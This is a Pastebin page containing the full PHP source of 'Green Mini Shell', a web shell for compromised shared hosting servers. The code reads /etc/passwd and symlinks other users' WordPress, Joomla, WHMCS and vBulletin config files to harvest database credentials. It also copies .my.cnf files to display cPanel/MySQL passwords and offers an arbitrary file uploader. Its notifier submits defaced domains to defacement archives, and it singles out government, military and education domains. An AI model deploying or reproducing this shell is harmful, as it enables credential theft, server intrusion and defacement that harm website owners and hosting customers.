Advertisement
EddieKidiw

Green Mini Shell (Decode)

Feb 12th, 2017
2,451
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 17.21 KB | None | 0 0
  1. <?php
  2.  
  3. echo "
  4. <html>
  5. <body bgcolor=black>
  6. <head>
  7. <style type=text/css>
  8. body{
  9.     background:#000000;;
  10. }
  11. a {
  12. text-decoration:none;
  13. }
  14. a:hover{
  15. border-bottom:1px solid aqua;
  16. }
  17. *{
  18.     font-size:11px;
  19.     font-family:Courier,Courier,Courier;
  20.     color:white;
  21. }
  22. #menu a{
  23.     padding:4px 18px;
  24.     margin:0;
  25.     background:darkred;
  26.     text-decoration:none;
  27.     letter-spacing:2px;
  28.     -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
  29.  
  30. }
  31. </style>
  32.  
  33. <title>Ustad - Tamvan</title>
  34. </head>
  35. <br><center><div id=menu>
  36. <a href=?home>Home</a>
  37. <a href=?grab>Grabber</a>
  38. <a href=?cp>Cpanel finder</a>
  39. <a href=?upl>Uploader</a>
  40. </div></center>
  41. <p>
  42. <center>
  43. <img src=http://vignette1.wikia.nocookie.net/fairytail/images/b/be/Chibi_uchiha_itachi.png width=272 height=315/><br /></center><br><center><div id=menu>
  44. <a href=?jump>jumping</a>
  45. <a href=?notif>Notifier</a>
  46. <a href=?x=symlink>Symlink</a>
  47. <a href=?about>About</a>
  48. </div></center>
  49. <br><br><center>".php_uname().";<br>";
  50.  
  51. if(isset($_GET["about"])){
  52. echo "<font color=red><center>Recoded by Ustadcage<br>Thanks: Sinkaroid and kerupuk ^_^</font></center>";
  53. }
  54.  
  55.  
  56. ############### MULAI DARI SINI #################
  57.  
  58. if(isset($_GET["grab"])){
  59. echo "
  60. <body bgcolor=black>
  61. <form method='POST'>
  62. <style>
  63. textarea {
  64. resize:none;
  65. color: #000000 ;
  66. background-color:#000000;  
  67. font-size:8pt; color:#ffffff;
  68. border:1px solid white ;
  69. border-left: 4px solid white ;
  70. width:543px;
  71. height:400px;
  72. }
  73. input {
  74. color: #000000;
  75. border:1px dotted white;
  76. }
  77. </style>";
  78. echo "<center>";
  79.  
  80. echo "</center><br><center>";
  81. if (empty($_POST['config'])) { echo "<p><font face=Tahoma color=#007700 size=2pt>/etc/passwd content</p><br><form method=POST><textarea name=passwd class=area rows=15 cols=60>";
  82. echo file_get_contents('/etc/passwd');
  83. echo "</textarea><br><br><input name=config class=inputzbut size=100 value=Grab! type=submit><br></form></center><br>";
  84.  }
  85.  
  86. if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('ustadtamvan_grabber', 0755);@chdir('ustadtamvan_grabber');
  87. $htaccess="
  88. OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
  89. Options Indexes FollowSymLinks
  90. ForceType text/plain
  91. AddType text/plain .php
  92. AddType text/plain .html
  93. AddType text/html .shtml
  94. AddType txt .php
  95. AddHandler server-parsed .php
  96. AddHandler txt .php
  97. AddHandler txt .html
  98. AddHandler txt .shtml
  99. Options All
  100. Options All";
  101. file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];
  102. $passwd=explode("n",$passwd);
  103. echo "<br><br><center><font color=#b0b000 size=2pt>grabbing, please wait ...</center><br>";
  104. foreach($passwd as $pwd){
  105. $pawd=explode(":",$pwd);$user =$pawd[0];
  106. @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
  107. @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
  108. @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
  109. @symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
  110. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
  111. @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
  112. @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
  113. @symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
  114. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
  115. @symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
  116. @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
  117. @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
  118. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
  119. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
  120. @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
  121. @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
  122. @symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
  123. @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
  124. @symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
  125. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
  126. @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
  127. @symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
  128. @symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
  129. @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
  130. @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
  131. @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
  132. @symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
  133. @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
  134. @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
  135. @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
  136. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
  137. @symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
  138. @symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
  139. @symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
  140. @symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
  141. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
  142. @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
  143. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
  144. @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
  145. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
  146. echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="ustadtamvan_grabber">Open configs</a></font></b>';
  147. }
  148. }
  149.  
  150.  
  151. elseif(isset($_GET["home"]))
  152.     {
  153.     echo"<table><td align=center><body>
  154.     <h2><font color=green></font></h2>";
  155.     }
  156.     elseif(isset($_GET["upl"]))
  157.     {
  158.     echo"<br><br><br><center><font color=red>";
  159.         print "n";$disable_functions = @ini_get("disable_functions");
  160.         echo "<br>DisablePHP=".$disable_functions; print "n";
  161.         echo"<br><form method=post enctype=multipart/form-data>";
  162.         echo"<input type=file name=f><input name=k type=submit id=k value=pencet><br>";
  163.           if($_POST["k"]==pencet)
  164.     {
  165.     if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){
  166.     echo"<b>".$_FILES["f"]["name"];
  167.     }else{
  168.     echo"<b>Gagal upload";
  169.     }
  170.     }
  171.     }
  172.  
  173.  
  174. /**
  175.  * @author: FaisaL Ahmed aka rEd X
  176.  * @Screenshot: http://prntscr.com/7c1p34
  177.  * @Last Updated: 01 June 2015
  178. */
  179. elseif(isset($_GET["cp"]))
  180.     {
  181. @ini_set('display_errors',0);
  182. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  183.     $ar0=explode($marqueurDebutLien, $text);
  184.     $ar1=explode($marqueurFinLien, $ar0[$i]);
  185.     return trim($ar1[0]);
  186. }
  187.  
  188. echo '<style>
  189. textarea {
  190. resize:none;
  191. color: red ;
  192. background-color:#ffffff;  
  193. font-size:8pt; color:#000000;
  194. border:1px solid white ;
  195. border-left: 4px solid white ;
  196. width:543px;
  197. height:400px;
  198. }
  199. input {
  200. color: #000000;
  201. border:1px dotted white;
  202. }
  203. </style>';
  204. echo '<center>';
  205.  
  206. $d0mains = @file('/etc/named.conf');
  207. $domains = scandir("/var/named");
  208.  
  209. if ($domains or $d0mains)
  210. {
  211.     $domains = scandir("/var/named");
  212.     if($domains) {
  213.  
  214. echo "<table align=center><tr><th valign=top bgcolor=darkgreen class=style2> COUNT </th><th valign=top bgcolor=darkgreen > DOMAIN </th><th valign=top bgcolor=darkgreen class=style2 > USER </th><th valign=top bgcolor=darkgreen class=style2 > Password </th><th valign=top bgcolor=darkgreen class=style2 > .my.cnf </th></tr>";
  215. $count=1;
  216. $dc = 0;
  217. $list = scandir("/var/named");
  218. foreach($list as $domain){
  219. if(strpos($domain,".db")){
  220. $domain = str_replace('.db','',$domain);
  221. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  222. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  223. $path = getcwd();
  224.  
  225. if (is_readable($dirz)) {
  226. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  227. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  228. $password=entre2v2($p,'password="','"');
  229. echo "<tr><td valign=top style=border :2px solid white; width: 139px class=style2>".$count++."</td><td valign=top style= width: 139px; border :2px solid white  class=style2 ><a href=http://".$domain.":2082 target=_blank>".$domain."</a></td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >".$owner['name']."</td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >".$password."</td><td valign=top style=border :2px solid white  id=menu style=width: 139px><a href=".$owner['name'].".txt target=_blank>Click Here</a></td></tr>";
  230.    
  231.  
  232. $dc++;
  233. }
  234.  
  235. }
  236. }
  237. echo '</table>';
  238. $total = $dc;
  239.  
  240. echo '</center>';
  241. }else{
  242. $d0mains = @file('/etc/named.conf');
  243.     if($d0mains) {
  244. echo "<table align=center><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  245. $count=1;
  246. $dc = 0;
  247. $mck = array();
  248. foreach($d0mains as $d0main){
  249.     if(@eregi('zone',$d0main)){
  250.         preg_match_all('#zone "(.*)"#',$d0main,$domain);
  251.         flush();
  252.         if(strlen(trim($domain[1][0])) >2){
  253.             $mck[] = $domain[1][0];
  254.         }
  255.     }
  256. }
  257. $mck = array_unique($mck);
  258. $usr = array();
  259. $dmn = array();
  260. foreach($mck as $o) {
  261.     $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  262.     $usr[] = $infos['name'];
  263.     $dmn[] = $o;
  264. }
  265. array_multisort($usr,$dmn);
  266. $dt = file('/etc/passwd');
  267. $passwd = array();
  268. foreach($dt as $d) {
  269.     $r = explode(':',$d);
  270.     if(strpos($r[5],'home')) {
  271.         $passwd[$r[0]] = $r[5];
  272.     }
  273. }
  274. $l=0;
  275. $j=1;
  276. foreach($usr as $r) {
  277. $dirz = '/home/'.$r.'/.my.cnf';
  278. $path = getcwd();
  279. if (is_readable($dirz)) {
  280. copy($dirz, ''.$path.'/'.$r.'.txt');
  281. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  282. $password=entre2v2($p,'password="','"');
  283. echo "<tr><td valign=top bgcolor=darkgreen class=style2 style=width: 139px>".$count++."</td><td valign=top bgcolor=darkgreen class=style2 style=width: 139px><a target=_blank href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td valign=top bgcolor=darkgreen class=style2 style=width: 139px>'.$r."</td><td valign=top bgcolor=darkgreen class=style2 style=width: 139px>".$password."</td><td valign=top bgcolor=darkgreen class=style2 style=width: 139px><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  284. $dc++;
  285.                 flush();
  286.                 $l=$l?0:1;
  287.                 $j++;
  288.                 }
  289.             }
  290.             }
  291. echo '</table>';
  292. $total = $dc;
  293. echo '<br><div class=result valign=top bgcolor=darkgreen class=style2 style=width: 139px >Total cPanel Found = '.$total.'</h3><br />';
  294. echo '</center>';
  295.  
  296. }
  297. }else{
  298. echo "<div class=result><i><font color=#FF0000>ERROR</font><br><font color=#FF0000>/var/named</font> or <font color=#FF0000>etc/named.conf</font> Not Accessible!</i></div>";
  299. }
  300. }
  301.  
  302.  
  303.   ////////////////////////////////
  304.    
  305.    elseif(isset($_GET["jump"]))
  306.     {
  307.      ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
  308.     set_time_limit(0);
  309.     ###################
  310.     @$passwd = fopen('/etc/passwd','r');
  311.     if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
  312.     $pub = array();
  313.     $users = array();
  314.     $conf = array();
  315.     $i = 0;
  316.     while(!feof($passwd))
  317.     {
  318.         $str = fgets($passwd);
  319.         if ($i > 35)
  320.             {
  321.             $pos = strpos($str,':');
  322.             $username = substr($str,0,$pos);
  323.             $dirz = '/home/'.$username.'/public_html/';
  324.             if (($username != ''))
  325.                 {
  326.                 if (is_readable($dirz))
  327.                     {
  328.                     array_push($users,$username);
  329.                     array_push($pub,$dirz);
  330.                     }
  331.                 }
  332.             }
  333.         $i++;
  334.     }
  335.    
  336.     ###################
  337.     echo '<br>';
  338.     echo "[+] Founded <font size=15 color=red> ".sizeof($users)." </font> entrys in /etc/passwd\n"."<br />";
  339.     echo "[+] Founded <font color=red size=15> ".sizeof($pub)." </font> readable public_html directories\n"."<br />";
  340.     echo "[~] Searching for passwords in config files...\n\n"."<br /><br /><br />";
  341.     foreach ($users as $user)
  342.         {
  343.         $path = "/home/$user/public_html/";
  344.         echo "<table bgcolor=black class=style2 ><td>";
  345.         echo "<font color=white>[Ok] $path</font><br>";
  346.         echo "</td></table>";
  347.         }
  348.     echo "\n";
  349. }
  350.  
  351.  
  352.   ////////////////////////////////
  353.    
  354.    elseif(isset($_GET["notif"]))
  355.     {
  356.  
  357. set_time_limit (0);
  358.  
  359. echo "
  360. <center>
  361. <form method=POST>
  362. Hacker Name :<br> <input type=text name=defacer size=32 style=border: solid 1px red><br>&nbsp&nbsp&nbspMirror : <br>
  363. <select style=border: solid 1px red name=mirror>
  364. <option>zone-h</option>
  365. <option>dark-h</option>
  366. <option>aljyyosh.org</option>
  367. </select><br>
  368. Domains :<br><textarea style= width: 678px; height: 302px ;border: solid 1px red name=domains></textarea><br>
  369. <input type=submit value=Send name=go>
  370. </form></center>";
  371.  
  372. if (!function_exists ("curl_init")){die ("This Script uses cURL Library, you must install first !<br><a href='http://au2.php.net/manual/en/curl.setup.php'>http://au2.php.net/manual/en/curl.setup.php</a>");}
  373.  
  374. if (@$_POST['go'])
  375. {
  376.     foreach (explode ("\n", $_POST['domains']) as $domain)
  377.     {
  378.         post ($domain, $_POST['defacer'], $_POST['mirror']);
  379.     }
  380.     echo "<br><br><a target=_blank href=http://zone-h.com/archive/published=0>Zone-h</a><br>";
  381.     echo "<a target=_blank href=http://dark-h.org/onhold/?s=1>Dark-h</a><br>";
  382.     echo "<a target=_blank href=http://aljyyosh.org/onhold.php>Aljyyosh.org</a>";
  383. }
  384.  
  385. function post ($url, $defacer, $mirror)
  386. {
  387.     $ch = curl_init ();
  388.     curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  389.     curl_setopt ($ch, CURLOPT_POST, 1);
  390.  
  391.     switch ($mirror)
  392.     {
  393.     case "zone-h";
  394.         curl_setopt ($ch, CURLOPT_URL, "http://www.zone-h.com/notify/single");
  395.         curl_setopt ($ch, CURLOPT_POSTFIELDS, "defacer=$defacer&domain1=$url&hackmode=1&reason=1");
  396.         if (preg_match ("/color=\"red\">OK<\/font><\/li>/", curl_exec ($ch)))
  397.             echo "$url.&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<span style=color: green>OK</span><br>";
  398.         else
  399.             echo "$url&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<span style=color: red>Error</span><br>";
  400.         break;
  401.     case "dark-h";
  402.         curl_setopt ($ch, CURLOPT_URL, "http://dark-h.org/notify/kaydet.php");
  403.         curl_setopt ($ch, CURLOPT_POSTFIELDS, "hacker=$defacer&site=$url&gkodumuz=123456&zgkod=123456&kod=123456");
  404.         curl_exec ($ch);
  405.         echo "$url<br>";
  406.         break;
  407.     case "aljyyosh.org";
  408.         curl_setopt ($ch, CURLOPT_URL, "http://aljyyosh.org/single.php");
  409.         curl_setopt ($ch, CURLOPT_COOKIE, "alj=aljyyosh");
  410.         curl_setopt ($ch, CURLOPT_POSTFIELDS, "hacker=$defacer&site=$url&how=1&why=1&addsite=Send");
  411.         if (preg_match ("/<font color=red> OK<\/font>/", curl_exec ($ch)))
  412.             echo "$url&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<span style=color: green>OK</span><br>";
  413.         else
  414.             echo "$url&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<span style=color: red>Error</span><br>";
  415.         break;
  416.     default:
  417.         break;
  418.     }
  419.     curl_close ($ch);
  420. }
  421. }
  422.  
  423.      elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink')) {    echo " <form action= method=post>";
  424.  @set_time_limit(0);
  425.  echo "<center>";
  426.  @mkdir('sym',0777);
  427. $htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any"; $write =@fopen ('sym/.htaccess','w'); fwrite($write ,$htaccess); @symlink('/','sym/root'); $filelocation = basename(__FILE__); $read_named_conf = @file('/etc/named.conf'); if(!$read_named_conf) { echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; } else { echo "<br><br><div class='tmp'><table border=1 bordercolor=#FF0000 width=500 cellpadding=1 cellspacing=0><td>Domains</td><td>Users</td><td>symlink </td>"; foreach($read_named_conf as $subject){ if(eregi('zone',$subject)){ preg_match_all('#zone "(.*)"#',$subject,$string); flush(); if(strlen(trim($string[1][0])) >2){ $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0])); $name = $UID['name'] ; @symlink('/','sym/root'); $name = $string[1][0]; $iran = '\.ir'; $israel = '\.il'; $indo = '\.id'; $sg12 = '\.sg'; $edu = '\.edu'; $gov = '\.gov'; $gose = '\.go'; $gober = '\.gob'; $mil1 = '\.mil'; $mil2 = '\.mi'; if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0]) or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])) { $name = "<div style= color: #FF0000 ; text-shadow: 0px 0px 1px red; >".$string[1][0].'</div>'; } echo " <tr> <td> <div class=dom><a target=_blank href=http://www.".$string[1][0].'/>'.$name.' </a> </div> </td> <td> '.$UID['name']." </td> <td> <a href=sym/root/home/".$UID['name']."/public_html target=_blank>Symlink </a> </td> </tr></div> "; flush(); } } } } echo "</center></table>"; }
  428.  
  429.  
  430.    
  431.     echo "</div><center><b><br><br><br><font color=red>&copy 2015 Recoded By UstadCage_48</font></center><b>
  432.         <br><center>Green Mini Shell</center><br>";
  433.  
  434. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement